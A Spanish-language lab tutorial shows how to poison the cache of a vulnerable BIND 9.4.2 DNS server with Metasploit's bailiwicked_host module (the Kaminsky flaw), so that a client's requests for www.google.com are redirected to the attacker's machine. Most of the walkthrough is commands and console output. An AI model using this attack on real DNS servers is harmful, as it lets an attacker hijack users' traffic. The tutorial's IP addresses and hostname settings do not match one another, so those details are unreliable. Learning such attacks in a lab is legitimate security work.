CONCEPTOS BASICOS DE PENETRACION BAJO PLATAFORMA GNU/LINUX(VULNERABLE) USANDO METASPLOIT FRAMEWORK – PARTE IV
Atacando un servidor BIND Vulnerable
Encontrando Vulnerabilidades sobre el servicio BIND Domain (Puerto 53)
Se ha detectado de acuerdo a la entrada anterior que el servicio es ISC BIND 9.4.2, esta versión presenta algunas vulnerabilidades que pueden explotarse para controlar el servicio y/o denegarlo, una de estas vulnerabilidades es la vulnerabilidad Kaminsky (descubierta por primera vez por Dan Kaminsky), la cual consiste en el envenenamiento de la cache del servidor DNS y controlar el trafico de los clientes que se conectan a este, para obtener mas información sobre esta vulnerabilidad ver:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447.
Los pasos para probar la explotación de este servicio contra la maquina vulnerable se siguen a continuación:
- Las direcciones que se van a manejar son las siguientes:
Atacante: 192.168.1.34
Servicio DNS: 192.168.1.37
Cliente del Servicio DNS: 192.168.1.36 - En primera instancia, es necesario que el cliente envié todas sus peticiones contra el servidor DNS, por esta razón es necesario que el Resolver sea establecido contra la maquina del servicio DNS para que sea este el que resuelva las peticiones DNS de este cliente, para esto, como ya se ha indicado anteriormente, es necesario editar el fichero /etc/resolv.conf en maquinas GNU/Linux, mientras que en windows debe establecerse desde la opción de Conexiones de Red del panel de control.
vim /etc/resolv.conf
nameserver 192.168.1.37 - Probar que el cliente realmente esta realizando la petición al servidor DNS anteriormente establecido
nslookup www.google.com
Server: 192.168.1.37
Address: 192.168.1.37#53Non-authoritative answer:
www.google.com canonical name = www.l.google.com.
Name: www.l.google.com
Address: 209.85.229.147
Name: www.l.google.com
Address: 209.85.229.99
Name: www.l.google.com
Address: 209.85.229.104
Se ha utilizado la utilidad nslookup para realizar la petición al servidor DNS, en las primeras lineas de la salida del comando, puede apreciarse que el servidor es el que se ha indicado y el puerto es el 53, dado que es el puerto asignado por defecto para los servidores DNS, por otro lado la respuesta del servidor ha sido No Autoritativa (o que es lo mismo, Recursiva) lo que quiere decir que se ha establecido una (o varias) conexiones a internet para resolver la dirección IP del dominio especificado (www.google.com)
- Una vez establecido el escenario anterior, que es típico y normal, se debe limpiar la cache del servidor de DNS con el fin de comenzar el ataque, se puede hacer simplemente con ejecutar el comando killall named o reiniciando el servicio con /etc/init.d/bind9 restart
- Para comenzar con el ataque utilizando MetaSploit Framework, se utiliza el modulo auxiliar bailiwiked_host que es el que se encarga de explotar la vulnerabilidad Kaminsky en servidores Bind.
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options
Module options (auxiliary/spoof/dns/bailiwicked_host):
Name Current Setting Required Description
—- ————— ——– ———–
HOSTNAME pwned.example.com yes Hostname to hijackINTERFACE no The name of the interfaceNEWADDR 1.3.3.7 yes New address for hostnameRECONS 208.67.222.222 yes The nameserver used for reconnaissance
RHOST yes The target address
SNAPLEN 65535 yes The number of bytes to capture
SRCADDR Real yes The source address to use for sending the queries (accepted: Real, Random)
SRCPORT yes The target server’s source query port (0 for automatic)
TIMEOUT 500 yes The number of seconds to wait for new data
TTL 41118 yes The TTL for the malicious host entry
XIDS 0 yes The number of XIDs to try for each query (0 for automatic)
msf auxiliary(bailiwicked_host) > set RHOST 192.168.1.37
RHOST => 192.168.1.37
msf auxiliary(bailiwicked_host) > set HOSTNAME http://www.google.com
HOSTNAME => http://www.google.com
msf auxiliary(bailiwicked_host) > set NEWADDR 192.168.1.34
NEWADDR => 192.168.1.33
msf auxiliary(bailiwicked_host) > set SRCPORT 53
SRCPORT => 53
msf auxiliary(bailiwicked_host) > set RECONS 192.168.1.37
RECONS => 192.168.1.37
Antes de ejecutar el modulo auxiliar, debe notarse que se ha indicado la dirección donde se encuentra el servidor Bind y el puerto en el que escucha es el 53, por otra parte, el nombre del dominio que se desea almacenar en cache es www.google.com, con la dirección IP del atacante asociada a este, (atributo NEWADDR) de esta forma cuando se inyecte en la cache el dominio www.google.com se asociará con la dirección IP 192.168.1.33 (dirección IP del atacante) de este modo, cuando un cliente solicite la dirección del dominio www.google.com al servidor DNS, este responderá con una respuesta Autoritativa, basada en la cache almacenada, el cliente tendrá como respuesta la dirección IP del atacante y será dirigido a dicho sitio, una vez allí, el cliente del servicio DNS vulnerable se encuentra a la entera disposición del atacante.